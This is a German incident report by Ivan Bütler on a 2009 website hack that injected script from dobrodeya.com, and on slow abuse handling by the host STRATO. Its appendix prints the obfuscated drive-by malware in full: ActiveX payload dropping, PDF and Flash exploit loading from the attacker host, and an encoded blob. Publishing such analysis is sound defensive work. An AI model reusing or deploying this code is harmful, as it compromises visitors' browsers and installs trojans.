
Incident Handling bei STRATO 

"Java Script Malware"  
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Herzlich Willkommen! 

In der Zeit vom 20-26. Oktober 2009 wurde eine Webseite gehackt und jeweils 

folgende <SCRIPT SRC=...> Anweisung hinterlegt:   

http://dobrodeya.com/cgi-bin/Archiv.php 

Same Origin Bypass 

Die Anweisung <SCRIPT SRC=...> bedeutet, dass die JavaScripts von obiger URL 

im gleichen Context wie der gehackten Webseite ausgeführt wird und ist der 

Bypass für die Same Origin Policy. Der Host "dobrodeya.com" wird vom 

deutschen Provider STRATO gehostet. Die Malware hat Sicherheitslücken in den 

Browsern ausgenützt und Trojaner im Browser installiert. Eine ziemlich gefährliche Sache also....wie hat 

die Zusammenarbeit mit STRATO funktioniert? Was macht die Malware? Lesen Sie weiter... 

 

Incident Handling  
 

Wie man aus dem Screenshot erkennen 

kann, bietet STRATO supergünstige 

Angebote für Domains und 

Webhostings an.  

Offensichtlich wird der Service auch für 

die Verteilung der Malware benützt und 

ist im Untergrund bekannt als 

"günstigen" Provider.  

 

 



 

Kontaktaufnahme durch mich (Ivan Bütler) am 26. Oktober 2009 

 

 

 
Kontaktaufnahme von mir 
am 26. Oktober 2009. Es 
ging mir vorab darum 
herauszufinden ob sich 
jemand meldet und ob die 
Mailadresse abuse 
gelesen/benützt werden 
kann.   

 

 

 
2 Tage später ( das ist lange 
wenn die Malware noch am 
laufen ist ) habe ich 
folgendes Mail erhalten. 
Daraufhin habe ich die mir 
bekannten Details (IP, 
FQDN) an Strato 
weitergeleitet.  

 



Da ich so lange nichts von STRATO gehört habe, habe ich zusätzlich Marco Di Filippo, den Compass 

Geschäftsführer beauftragt mit STRATO in Kontakt zu treten unter Angabe der Incident Details die wir 

von unserer Seite kannten. Ich erhoffte mir dadurch eine wesentlich schnellere Bearbeitung des 

Falles.  

Hier die Kommunikation von Di Filippo mit STRATO 

 

 
 

 
Unser Herr Di Filippo hat 
am 28. Oktober 2009 rund 
1h nach der Antwort an 
Ivan Bütler folgende 
Meldung erhalten.  

 

 

 
Nach 4 weiteren 
Arbeitstagen haben wir mal 
nachgefragt. Wie gehts 
weiter bei STRATO? Wir 
wollen die W-Fragen 
wissen (Ermittlungs 
Fragen). Dabei ist klar, dass 
keine Daten über den 
Endkunden herausgegeben 
werden. Doch zumindest 
ein Hinweis über den 
Vorfall hätten wir uns 
gewünscht.   

 



 

Finale Antwort von STRATO  am 4. November 2009  
 

 



 

Zusammenfassung 
 

1. Die Zusammenarbeit bei Ermittlungen mit Russischen oder Chinesischen Firmen ist schwierig, 

das ist jedem von uns klar. Dass die Zusammenarbeit mit gewissen Zentral Europäischen Firmen 

ebenso mühsam ist, ist für mich neu.  

2. Die Provider prüfen zuwenig gut, welche Inhalte auf deren Hosts angeboten werden.  

3. Die Provider haben ein ungenügendes Incident Management Bewusstsein 

 

Anhang für Java Script Freunde  
 

Die Archive.php hat unterschiedliche Java Scripts an den Browser gesendet, abhängig vom UserAgent. 

War es ein Firefox, gabs andere Client Exploits als wenn es ein Internet Explorer war. Hier einige Details: 

Die eingefügten Scripte (Malware) versuchen verschiedene Sicherheitslücken in modernen Browsern 

auszunützen. Die Seite unterscheidet die Browser Versionen (UserAgent) der Besucher und versucht 

Sicherheitslücken im Browser zu exploiten.  Folgende Exploits werden ausprobiert: 

Í 

Í 

 

und das ganze über verschieden Sprachen (EN, DE, IT) 

Der Virus wird von Kaspersky erkannt.  

 

Andere Anti-Viren Hersteller erkennen den Exploit nicht, oder noch nicht. Bei VirusTotal erkennen den 

Virus erst 3 von 41 den Anti-Viren Hersteller. Zudem ist der Virus polymorph. Das bedeutet, dass mit 

jedem Aufruf bei /cgi-bin/Archive.php ein anderes JavaScript erzeugt wird, das mit dem Server eine 

Session teilt.  



 

 

 

Malware Analysis IE Browser  

First Round  

 

//<script>  

jveIo=24;if(unescape)jveIo='';FhvP=unescape('%'+jveIo);  

p7IZ='docuN6dent.l77riM7 4e(l22G3cdiv 

sG74yG6ceG3dN5cM22posil74il6fM6eM3aal62G73oG6cutel3b N6ceftG3aG2d1N300N30pxl3b 

topG3aG2d1l30G300pxM3bM5cG22G3el22)l3bfunctN69on b6(tN29M7bvN61l72 

c1,c2,cN33,M65M31,e2,eM33N2cel34,jl3dN30,dN3dM22M22,N6bM3dG22+UG45q1dRy9aTN43tJSN78N70

fG3d3cl59l6 aZ7N77G51G65zAsXrFVl6c4M4dl4eWuG2fPG6fIG36b8ON44mvk02hN4biBnLG47Hg5M22M3bdM

6fl7be1G3dk.N69N6el64exOf(t.l63hal72At(N6a++))l3bl652N3dkN2einG64exOf(tG2echaG72At(j++

M29)G3be3G3dk.iG6eG64exOf(t.cN68arAl74(j++l29)G3be4G3dN6b.iG6edexOM66M28t.l63harAt(N6a

++))l3bN6 3N31N3dM28M651N3cM3c2)G7c(e2M3el3e4N29N3bc2G3dG28(e2M26M315)N3cG3c4M29l7cl28e

3l3eG3e2G29G3bcM33N3dN28G28M65N33N263)l3cl3cG36)l7ce4M3bdM3dM64+StrG69ng.fromCharCoN64

e(N631l29l3bif(e3G21N3d6l34)dG3ddN2bStringG2efromChG61rCN6fdel28cM32)l3bif(e4l21G3d64)

dM3dl64 +l53tring.N66N72omCl68arCode(c3)N3bG7dwhiM6ce(jG3ct.G6ceN6egthG29N3bG72eturnl20

dM3bG7dG64l6fcument.wril74e(G22G3cscriN70t l6canguagN65G3dVBN53crl69pl74N3eSub 

s1(e,G66G6e,dt)M3aM4fM6e Errol72l20ReG73uN6de l4eextM3as1N3d0G3aN22+G27Set 

kM3del2el43reateTexN74F l69N6ce(M66nM2cTRUM45N29l3aG69fG20ErrG3e0 G74henN3aExil74 

FunctiN6fnM3aEnd N69fN3aG27+N27bN3dG22M22l3aFor N6al3d1M20To 

LenBl28dt)N3abN3dbN26ChrW(Asc(G4diM64(dtM2cj,G31G29))N3aM4eM65xG74l3ak.Wl72G69N74l65N2

8b)M3ak.N43N6cosel3al27+M22if N45M72N72M3eG30G20l74 henG3aExit 

FunN63l74G69onM3aEndG20ifl3as1M3d1l3aN45ndl20SubM3cM5cl2fscriptl3el22l29l3bfM75nction 

f1l28c,G6f,n)N7bN69G66(c)returl6e cM3bvaN72 

rN2caN2cb,d,G66,g,N68M3brG3dnuN6cG6cl3baM3dM22tryM7brN3do.l22M3bbM3dl22CG72eaG74eObjec

tG28nN22l3bN64G3dG22)l7dcG61N 74ch(e)M7bl22N3bN66M3dG22M47etObl6aN65G63t(N22G3bgN3dM27,

G22M22G27M3bhG3dd+N61G3bN65val6c(a+bN2bh+M62+N67+hG2bb+N67+g+h+fM2bG27l22G22,l6el27+M6

8+f+G27nN27+gl2bN68+fN2bM27l6eM27l2bdM2bG27l7dG7dN7dG7dM7dM7dM27)G3brel74l75rn 



rl7dfunctiN6fn 

l664(d,c)M7btrl79N7 bdM5bl64.l6cl65G6el67thG5dN3dcM3bM7dl63atN63h(eM29M7bN7dN7dfuG6eG63

tion 

N662(oM2cl74,n,d)G7bfoG72N28vaM72M20iM3dn.N6cenN67thl2d1G3biG3eN3d0l3bl69l2dM2d)M7bM69

M66(G6f)tryl7bo.Tyl70eM3d2l3boN2el4doG64eM3d3l3bo.l4fpenG28)l3bo.CharseN74G3dN27l49SOM

2d885l39G2d1 N27M3bl6fM2eWrG69teN54eG78t(d)M3bo.Sl61veTol46il6ce(nl5bG69M5d,2)G3bN6f.CM

6cG6fsl65G28)l3bretul72nN20M6eN5bil5dM3bG7dcatcl68G28el29N7bG7dM69N66M28tl26G26wM69ndo

w.sM31G26M26N73M31(l74,G6el5biM5d,d))retul72n nN5biN5dM3bG7dreturN6e 

0M3bl7dfuN6eN63tiol6e 

N663( N29G7btryG7bvM61rN20l61N2ci,m,M74N2cv1,l76M32,M763,v4,dl31,N642,G72N2cd,t,M66,l78

N2csN2cc,b,g,M68,j,G6b,nG2cp,qM3bal3dl6euM6cM6cM3bml3dl27BD96C556G2d6G35AM33N2d11DM30l

2dG3983G41l2d00C04FC29E3N27G3bfG3dG27N2d000G30M2d0000N2dl4300l30M2d0000000l30G3004N36N

27N3bl76M61r tl3dneN77 

N41rG72ay(m+G270M27,m+M27N36l27,N27M41B9BG43G45N44DN2dECM37l45M2d47E1M2d9322G2dD4l4121

0l3617G3116l27,l270006F033N27G2bf,l27G30l3006FN30M33AG27+f,N276eG33l3207l30al2d766dM2d

4M65M656N2d87M39cM2ddc1fl61l39M31d2fc3l27,l27N36414l3512BG2dB9G3 78l2dN3451DG2dG410D8l2

dG46CFDM4633E833l43M27N2cG27l37F5B7G4663M2dF06FN2d433N31N2d8AG326N2dG33N339EN303Cl30M4

1EM33N44l27,G2706l3723E09l2dF4C2l2dN343c8l2d8358G2dG309FCD1Dl42l30G3766l27l2cN2763l39F

7G325FG2d1B2DN2d48l331N2dA9l46DG2d8M37G34847M36820N310N27,l27l 42A0G31G38G3599G2d1G44B3

G2d44f9M2d8N33B4M2d46145G34C84BF8N27,M27D0Cl307D5N36l2d7M4369G2d43F1M2dl42l34AM30l2dN3

25F5l4111FABG319G27l2cl27E8CCCDl44FM2dCA2G38G2d496bl2dl42N3050N2d6M43M307M439l36M32476

Bl27,a)G3bM76G31M3daM3bv2G3dG61G3bN76M33l3dG61G3bv4N3daG3bd1 N3daN3bd2l3daG3bl69l3dN30G

3bN72M3d0N3bwhiM6ce(tM5bil5dG26G26(N21v1G7cG7cl21v2M7cN7cG21v3M7cl7cN21vl34))G7bN74ryG

7baN3ddocG75ment.creM61teEN6cemenG74(l22l6fbjeM63tM22)l3baN2eG73etN41G74trN69butG65(l2

2cM6cassidM22M2cM22cN6cG73idM3aG22G2btN5biM5d)G3bM7dcatch( eM29G7bN61M3dd1l3bl7diM66(aG

29l7bvG31M3dM661(v1N2cN61,M22ADM4fDB.StreamN22)N3bv2N3df1M28l762,a,M22WM53cG72ipt.Shel

6cM6cG22)l3bv4N3df1(vl34,al2cl22Scripl74l69G6eg.G46iG6cG65G53N79steM6dl4fbjecM74M22)M3

bv3G3df1M28v3l2ca,G22ShM65G6cM6c.AppG6cicationG22)l3bN7d i++l3bM7difG28(vM31N7cN7cv4N29

)l7bl76ar 

dN3db6(M74G74M74(G29)G3bG73N3dN27cM3aN27l3bmM3d0l3bbM3dM22l50rogramG22G3bgN3dM22N5cG5c

UninsN74l61N6cN6c.G65xeG22N3bhl3dl22G5cM5cl41l75M74M6fl73tartG22+gN3bjG3dN22Start 

M4denul5cN5cl22N2bbN3bqM3dG22N53tartupG22N3bl69f M28v2)tryG7bfN3dN762.Environl6dent(M22

G50N52OG43l45SN53M22)l3bsG3df(N27HOM4dEDRIVEG27)l3bml3df(l22TEN4dPN22)N3bif(l21m)mN3df

G28l22Tl4dPN22)l7dcM61tch(el29M7bsM3dG27cG3al27M3bml3d0N7dkN3dG22N5cM5cAl6cl6c 

UseN72sl5cM5cG22N3bcl3ds+G22N5cG5cG44ocumentsG20andN2 0Setl74ingsM22N2bkM3bnN3dl22StarG

74M22M3bpl3dG22M4del6eG75 l22l3bxl3dG22InM69ciarM22M3bd1M3dnew 

Al72N72N61yM28c+l22G4dN65M6e u 

InicioG5cN5cN22l2bb+M22l61sN5cG5cIniM63ioN22+g,c+N22N4deG6euel6eM20N53G74artN5cG5cl22+

M62+l22mN65rM5cl5cl22+n+gl2cM63+l70+n+N22l5c l5cM22M2bb+l22mG61M27sG5cG5cG4fpsG74M61l72

l74eG6el22+g,N63N2bM70+nM2bG22G5cN5cl22+b+N22yG22+hG2cM63+jG2bl22M6carl5cN5cBASN4cAG4e

G47ICl22+g,cN2bp+N22AvG76ioM5cG5cG22+G62N2bG22miG5cM5cEsecl75zionN65 

automaN74M69M63aM22+g,c+n+N22N2dmenyG5cM5cl22+bl2bM22mM65M7 2M5cN5cOppM73tal72tN22M2bg,

c+nM2bl22M2dmenynG5cG5cM22M2bb+h,s+M22N5cM5cDoN6bumN65nM74e und 

EinsteM6cG6cunl67M65nG22+kM2bn+l22l6denuM5cN5cN22+bM2bM22mG65N22M2bM68N2cc+M70+x+N22G5

cl5cG22+G62+N22asN5cG5cM22G2bl78M2bgM2ccl2bj+N22sN5cl5cG22+q+g)M3bM6eG3dl22iexp G6cG6fG

72M65.exeG22M3bkM3dG22..N5cN5cl22l3bhG3dk+kl3bpM3dN22N5cN5cM22+N6el3bif(v2)N7bf4(d1G2c

v2.G53l70M65N63ial6cFoN6cders(qN29+l67)M3bfl34N28dM31,vM32.SpM65l63ial6cFG6fG6cG64erM7

3(l22M41M6cN6cG55sersG22+qG29+g)G7dd2l3dG6eew 

ArrG61y(G73+M22M5cM5cRG45M43YCN4cERM22N2bN70,h+h+N6el2ck+h+M6eN2ch+n,k+M6e,nM2cs+M70)l

3bnG3d1l3bif(G6d)G66M34l28dN32M2cN6d+p)M3bif(v4)fM34(dl32,v4.l47etSpecG69al6cFol6cl64e

rN282)+pl29M3bfM3dfl32(v1,v4,d2,d)l3bif(N21f)M7bfM3dfG32(v1,v4,d1G2cd)M3bnl3d0M3bN7dif

(M66)M7bl69fN28G76N33)tG72yN7 brN3dG31G3bv3G2eSheG6cG6cG45l78ecG75M74l65N28f)G7dcatch(G

65)l7brM3d0l7dif(M21rM26M26v2)tN72yl7brN3dG31N3bv2.RunM28f,1)G3bl7dcatl63N68(l65G29N7b

trl79N7bv2.Exec(fN29N7dcatchN28e)l7bG72N3d0M7dM7dif(rN29dM6fcument.writeN28l22l3cscM72

iG70l74 

srcl3dG68G74tpN3aG2 fM2fdobroN64eya.coml2fl63giN2dbl69nM2fArG63N68ivl2ephpN3fsN3dl64tUM

6cLo9N26idl3d9M3eG3cM5cN2fsl63rN69ptM3eG22)l3beM6cseN7bifG28N6e)fG3df2(v1,v4l2cd1,l64l

29N3bM64ocumentM2eM77ritl65(l22N3cobN6aeM63t 

cG6cassiM64G3dG27cM6cl73idl3a52N37196N614M2db1M613G2d4N364 7N2d931dN2d37ba5af23037N27 

codebaseM3dG27G22+f+G22G27G3el3cM2fobjel63tG3eM22)M3bM7dl7dM7dG7dcatcG68(N65)l7bM7dN72

etM75l72G6e G72M3bM7dG663()M3bvar d3poG3dnN75l6cN6cl3btryG7bd3poG3dN6eew 

ActiveM58OM62M6aectN28G22AM63G72oPDF.PM44FG22)N3bN7dl63al74cM68(el29N7 bl7dif(l21l643po

)G7btryN7bM643pol3dG6eeN77 



AG63tiveXObjl65ctN28l22PDF.G50dl66N43N74rM6cM22)G3bl7dcatchN28M65)l7bG7dl7dG69f(d3po)G

7bN6cG76l3d((d3po.l47G65tVN65G72sl69l6fnsG28)N2espG6cN69t(N22l2cM22))G5b4G5d.spM6cit(N

22G3dN22))G5b1M5d.repl6cace(M2fG5c.G2fg,l 22M22N29N3bif((G6cvG3c900)N26l26(G6cG76N21M3d

81G33))doN63umN65l6eM74.wl72itG65N28G27N3ceG6dbM65d 

l73rcM3dG22httpl3al2fl2fdobrodG65ya.comM2fcgiG2dbN69nG2fN41rG63l68iv.M70hpG3fG73N3dl64

M74l55N6cN4co9N26idl3d2G22 widtG68N3d100 l68eightN3dM3100 

M74ypeM3dM22appG6cicationM2fpG64G66G22N3eG3cG2fembedG3eM27G29M3bG7dtG72yl7bG76ar 

d3poM3d0G3bd3poG3dM28M6eew 

ActiM76eM58ObjecG74(l22Shocl6bwaveFN6cal73h.ShoM63kwaveFl6cash.l39G22)N29.l47eM74G56ar

iabl6ce(N22N24N22M2bM22versionN22l29G2espG6ciG74(l22,M22l29G3bl7dM63aN74l63h( e)G7bG7di

fl28N643poN26M26(d3l70l6fl5b2N5dl3c124)l29M64ocument.wM72iM74el28G27G3cM6fbjecN74G20cM

6cassidN3dl22cl6csil64G3ad27cdbM36eG2dl61e6dl2d11M63fG2d9N36G62M38l2d44455G3354G3000l3

0M22 wG69dthG3d1M300M20M68l65ighG74M3dl3100 

M61N6ciM67nG3dmiddG6ceG3eM3cpar amM20nM61meN3dN22l6dovl69eG22 

vaN6cG75eG3dG22htG74N70G3aN2fN2fM64l6fbM72odl65M79a.l63oml2fcgN69M2dN62iG6eG2fG41rchl6

9v.pG68N70N3fM73G3ddtl55G6cLo9G26G69dM3d3G22M2fl3eN3cpl61M72aM6dN20N6eaG6deG3dG22N71ul

61l6cityG22 M76N61G6cN75eM3dl22higG68G22M2fN3eG3cpal72 am namN65G3dN22bgG63oG6cN6frl22 

vaN6cG75M65N3dN22l23fG66G66fffG22l2fG3eM3cembed 

srcN3dG22httpN3aM2fN2fG64oG62rol64eya.cl6fmG2fcgil2dN62inM2fArl63hiM76.phpG3fsl3ddtUl6

cl4coN39M26idN3dG33N22N2fG3el3cM2feml62N65dM3eN3cN2fobjN65l63tN3eM27)M3bdoG63umel6el74

.wri te(M22l3cN2fl64ivN3el22)l3b';  

eval(unescape(p7IZ.replace(/[MNlG]/g,FhvP)));  

function ttt(){return 

"3Y/p++9++++1++L+ggL++Cr+++++++++p++Q++++++++++++++++++++++++++++++++++++++++++++++1++

Cup++KX6+WJ9erU3tkF4aUcQRMv9yUme2Am7jkreZYvAEUVw=UmAjKrAji4wZ9rY2Mbtv9JE Vph+++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++dU

d++Ut+pt+RYiETr++++++++++K+ExrpIU+F4+p++++U++++Er+p+pB+1++C+U++qO+p+++ 1+++U+++++E+++1+

+++++++++p++++++++++++E+++p+++++++++r++++++1+++p++++++p+++p++++++++1++++++++++++++++x+

U+Sp++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++al/+

p+7+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++YYU7t+++++++u+1

++U++++++++++U+++++++++++++++++++r+++KdYpjq1++++++1++++EO+p++Sr++++p++++++++++++++++++

1+++SUYcdrm+++++++p++++L+1+++9++++H++++++++++++++++++U+++q++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++tmKOtOUYcdrFqp4EE6wyDCoiRwqugttU++4K++++Zr1+arc+G=EqexggaZ=

+ppECO+AOe9tttIFuwRUzqqC99dFccxggMKHadpfrB+c++Kvqc0QCLu87rSJgr vk1AggH6h+c+ypTVGQCOgLYq

93eApkMUxmCW88ghwr++SIxrxI7AOuvO9oqV/rIppWAXh8ZC=1+3dieEzEqKyHCdE3/q0lgggegOKxiUykzwHJ

ZSAUk7MsaDuWZAONJAqyglZOigneg/x8GLB3oCUrBVzFh99xF+DkOgn8gQ3lUH+TaOerqzmWRTzXv/XDaOXWeo

jh6+WraER1qRUGXZozDhLAHGG6/4OV1U7p9E1TaE8XVVAEyFXngnXgaAUNCppR+SsMkq+3oApOx8IUUpsIqrL1

d+zygvsgbyK+GqCkUAF0pcM1UCddcQrdP+Rlg2Lh2KXo6q849jYMQO/ECfEp1V0p4EChnXgXhp+pRVhpXVku1D

k91PUd++JJYV2u9SXX2v0d+3xgfZwJeb+1MZgngJgOz8iU0Q4z9FzUkyu6Xq96OU9ZeXFfCVsg2ibKTfJK1dYW

ugGc3XHOinbKXQ26pH78PVgEKidLnUfmVKznGgOHcOv8GXlSCUSidV=2zc qzEgGEZ0gKqAWpeaZpSVLHC078Rb

rhgnJl6BOpmXL0cuwrmqKIptLNCgjnxeI=ymVCql3oyUszO1d6K3XtaqqVlCG=lQAeAhI7lutq6uDpADNlphWQ

xySIEJTIDO9z98ghxgNg7RzU+BdL7V2Lcghzz+VECJn4C9eOYq+sIrIWEq+g2nhnxbnK08mUTryIu+ycjrvHL2

U2HLURCdncvku4ZqDU0ngh7nsNa7+Q6=R+P+WcTrvnvmXQ2RpjeVcttd =+UArZevAwGAETCpDq4RDz7V0tp6Uq

2IjbkSnX9d+wpWppmgWKgmEf0+gG3ayDkUzmtrv8IEhCwzUzpz+VCJAhUZ8uLVOteL98nvYn/Cg/Ay6K9YBxRE

nmxUZGLVqDCBYsO1xH4O2eLlWZgVOUNrHrEzrIdEROqPUHB8CogGVJlDO=EoUtJp9xKThZvbCpTuhX6nx773n+

fxKbTYK4puDobAhrRpKIAd+Ovb20IJGjCf6J3pfICAX=peGL2WdzLn dYYQdzcEN3gtqe3kx04V=qgU7FpA=itU

=F0eK2fIdowRDUuZVeqgWGCh2rUAS8KZQI6TrdvxbV=HggguKDIZexFqUp+naANEVFhqoCeIJz9Gyy+zG38sgX

qmE/1uDrVO0UPp+kclGXBE6TKU+6+IRR0zDXsplwWc9otbS9zxA7TZHb7QFH4PPrco=SLZHItcT1/FVfeeeXO7

HcJQy7=FtM0aNpeCEoFIo1Md79LbEIzLW2mePtUGWp6ODqeOnFczv337SnOwKoFtzSG8GCO9pmledI1gW02JWa

77dOR7qpdxCo4rZqIxPrEcRb0dpti9CDOAM2LdpvjZrtZCfB7JH2cytV+sxpew9y9sCH+X+A4411RDtEL411RR

eVkI11RRj=IPTpRRj=puam7MUM441Rpl9rFMDOjgDwLgmJyJFeyX9gfZ1ssOFU/B8gg6gBqyV=Crh9rlO6yFzO

Qa/SJ+=S7uDu4Nt9ZJSkCgggPlfkurI9CQ7C++EQxky9POdOrF tuvgKG6gihcUcX1DFKrCDcCFLORJag+zW21v

U68gB2ht21ATHEWC/PJzNNQ0r/COrzrgggggHoZRmmsvUk0rGzzUboOJDj4BlUykLujCuslpy=wkfzDggG8gKx

fd4sw0UkljOYyFILjQ7XSyEBAuO1C/bz6tKJ6H2gHv3IhNbamRv=7DrpvFt7+JjIbU2gX88bq+3EdDmXgUVRdk

dbamFLekDtOW8gggG8dyeX09+SVBEUyus+hqBWOTD=HukrvNzOBfLPwgGbhGV1cKTBWfO+Vlt7XNG9B9zjtzVb

RLbvghzAz+O7/BILs9L=fpfl7k9ssD8KCgCE32a+eJGrjabP3jjvUVxggxLrqppCQWdkFT3xV0Dq8Qu39YQc1P

XagVXgs/rpy1HPlz4XXqB1jRsXIZ8ggngG6Nxyy8HVQpbNwDFzpSUb+6c+iva=IWOBG=vwbgXGXsFxAjKWE20b



WVrNCPOx3QHtJb28DgggggFXpmp+YUiMUPlWL19vxzS0Axx/wd0RLY16JgggggiR43FnfzHr=y3TawqRSSgAJP

SsE+P4CjSiUaEkC6bWhCXygAOxPc47CFlTsRSe4T7vXBQjpsggggmgv1GNy=DtRZk7cMPBSnpQ6xt4Yl7rjp64

jcm4/6gHngmV=xFUAUYksZpPaxFYAaMktZ7EddfnWtShgggLGMJSlybnfJADzG6ocP7vPkTPZB/eSo/iByHzAe

6Wg2kE+pK4bZvKkTsH=ZrGX9pgHnzXHZU0Xd0gtuMiMx FdXrcHal84u4fULxgegdLysxFsSX9gKwWvRk8e=f+c

89cgzwgwgz2zTkvpSlkHm8t24hSPy0rUr0ghgTXSRr7LUZGTLrAQjjn7YPEMNGIvA0i+REQLSZ=peaJHH8Xk/4

Y6Kaau/y0YvCdLjZZj9zV3YG8h6gvAYU0GvaJpgdDDXoOUXTd1y9=jXDXLJhCzD1dH+r=j=T7dzTwUzUSsBvzh

QzEccykcA+fGRIXL=dOmalAzriONrESHpkAegvvehT QOHx29rOpiWxIdr2cUqaAzYW62sgXgOupn8HDYixWUdn

O66xoQnXXG6rKjUrassRJjlhAwbQ/MeIujZVZRhFudgeIEHTFngW/nCDk=yM6sVv827sBRtfk3ZPre8U0g=eXg

bZ3BRUYzHDMH13H7/TKk3pXIZElGqx6BLF=Qq0GQZ4dnnY=gGiZHnVmKGtVB4xDZjMIgN8oTxlKOjiesnoXksk

mW2q3HmRxHHrDtBZcyR8Nk1ZfVRp8t/UkKRRj=p= WwmXFM441dBwNa4411ReNujtM7RRYiQ/0CarZDsCLvSZMT

Zl+YivMXXPVGszVEXFtBRPIBXhAIJ=3L6Q3Ksio/89BniX6lOKmNSlqzZxPqQMU1Rh8Gg8h8=WdLAu66Xh/6AQ

Pe319=RgTxZ2P6YEyG2AvPEe1wRTS=EeFcJGznQeb1bIK1YTMwhWUErnPYlYmERAnhvYJaAjLhG78gBO02mLTt

XcFF720DCThXhsiUthQ9/UH6YJUOHvkF26WOnJ Jab9W8pjU4I/2Ryqtx9aD8hZAaGrhYH9hT/FFpybch2Cqnac

Kk4Cg=R2l3RynuGkZuRJRnQuL7pxGV3vW9cdGmleSEVqYtSZ3Cq3i94xuYxAk2s/sMNGvBj89Q+M878zqKCH3W

9nnAN1acskDROEazPMbeWYoPeJIq=E67v4k93muwCQHVM2iJR2XIs4tL6HIEri8nqV/ud4aXOjPrPiLEi80fnY

lLVuBNhkuc/k/qbAshzZAP0JtCCG7EhqxmbL JoRAYpR4nOI7vgyw4wEGngA4Da0xItQeVjlg=iYMru=bocH2GK

fADFIim4mxov8hG08hdjOhQ3cUAwAIqLlxLwNyKQ2iZKrxvGZKYMxX7e8A/gO0WjpV7IS/3H9zmc0N+vAnG08C

78YZ3IX2D9jh4aoPJxl0rFWOQ6GkGhznYYIKGeHoYemDkstoWYb0OFJLVz0sfdh3XXghTC=MShRMdhRFcCNvf3

RMYhetJVhGqeuYASrt87bMYgynS=bpSzYh TxcWWqogn9zi69iBYcqT3iAOYL1iQNGpPi0OY2a1CwLanvF2iCHQ

zwuUki6rKdq2ogGOAucyG3JKYh2u=WT+ITiZzBajH8h80kNQw7jvOKFJAJfhVh=GxzgbF=0G4n8cGNs2/SbhbI

x6L6h2jEjL6blHt/ZObVP0AGgGn8PyKLyTzQqZplsuFG3k8TQZ7zePDZ7d=VwZ2oqTGkSAnzVWr4jAa74POzHp

ICQxJkJ8LQserWRM/JmoKR/ez/A0Ry+E i8AoWf8qDTejkfHUZw0ENQIJyHXmhonUjC3jjnzO2ynyfToC1iuGKX

lSZ=Wgk8Tydy=MMkXizwA2YJdAmLDHmxlRB4onA9G9NLqZfWVO688ZAVVqAx6SIjNe/kJco60SGbM0qamewtKR

sjutlzEYN9Y/Ecwxd0qKGlqC00WfMpBPeHebghEhA9hkrV=d9MXWzTu1GTNElbeLT6A+JBfAqSCEiQH8e0TAAB

Hvae1oP7fhMgcaJvOR8mhXET3jKemb MbqgIsyZgH6MAvcAqgmOMgEFiKxeNZXy2BBUikXM6CeYdrH2ucySTjnF

76=fXKSZOII20gH8OpF2IJAmBCSMYhE2qIIES0ZxKoX2VkXmtT1sjVHZovsLuCE0lwKxPLPyCVWEGmYRBYj8E6

VqM8wuQkoyZGG2b6jdYLdkThV0WjL9=rbVmzVX7fAggGeDUOT0qkzw6+Gq2ezxpDN2qkSwI3ngGgBxfFNOq0Sv

qkswIrGRjekxf6NLqkXw8Ox8Djj8 8uGLTCoWX4wSm8nnqhmnWGeuBac+8rSfX8ouIs/ECZXW8i+BKpGiPCrDsM

P/GS2xwrVG8W8oF66cXbTTAxnrQCqjSIxUuhRhgu9fS8clwJC37ZqeVlZe/kDPdV0EEcbd0Yg6xbIO+zeVAayZ

jg3Jyq81+eZJhSHIT1k9I7mJeKr0CmEDo4Ja/=NUNwRyNi/aN8/9qXZF2En7AIEGKzsmmMydGAsK+Y2zAcGYfw

u2pIGn0QvqJH2i3L10iAAvngls TdAgJnnqkk0qcimaQXYJMY6GHhXvGHb0ELZWmu91XLpgi8YeFrtCXv60EKZy

mI/nP/eTpGefFQhdiXTyMg1mbmVAbv=X9YCysgWhB178FeBiujUJeyTPGfYiWHFrNInfM2/7Zz=byHxOTwndYm

OH4izEAmFv4uhxx16Y64G7kn=kE1HL0bqk/cCBAiPCAm7kt67H6B/JYeofsWYQNy3giBNmREqlqbRrrsS99ttt

uP2IutttIVHbPQVqqC99TBPY NDqceej+97WMMqmi93ZGJAjGuz0hX7y0T7I6Q=M/xrWALLrYLV2ZVQibotkhwf

IaDetCGTRY8CLGNKW6BThIogjTh84GOzH2ysdFwfxiI08ItihiujP0/sEMi92hesOGMUvOrXRDTabdzrXQwS=N

wZn4HhTqrtZY8SNIt4bsgI+DreRCoeIIqXc60e1UmL2KcIsDrhnxCqgmJNsBb8zvG3ZhZA70l7LISzbgXmcVtH

x0ioir+CmgiL+KXCz2H3Mb CHUGP=vIoVlG8qgggH4GoSkGPTMun82bns4IeN4/8QM8nBEf4ehRium6hkoFr3X7

IW7B2vrZE0ytPntT2sogH2ROGewJvVRla6bdMy0/+AwGIyggGeg13mHkDD=GzIE3HcU1iyrddxgmDMBHJD0XXg

nggggkUDDLbOFz6nrfWq7LlUILtuf+t3MYZgsB3/iO8zygDXBXGqDUZqKkFUmg67UdGkNsXgJ1WhyGEqGghgnQ

JvDth0xd2g1Gq+L2tzpe HeCU0VfBffpiIYgVgHgegxA+YWV/UFXLt9pjwyyJxvd+vvF0NHDgXLp=bN410xlmff

9oJ7R3DAeTL+7=ThG8g2gDD/f4XVeiz1yc83pYYW/0U4lEgGebg0rHt1J3x03jeLypG1RjsSZfDC0mxggggLwx

JhCddlEk+AYgLtkxadWg8vyGmjPuRf1GQUgnaE6YxGguezUejYfObpUvBh++Atwedyeo79U2gw8gNLy=Yo4u98

HsWMajgGBzXhnsjD0x gvv+gI/Lo1j+mhL6fr8g917S8ggG4IGqDeKIfO34UrDgCI79xR/UR3dHqp/ggHhMGzBL

QzWgocQJSjI+s4LAzq/Sde7B=YDX0lw26v6EOzK+G+nAAvGEX82nmDMm+8byyeNU08zhp+lgggXgAHNAvB369b

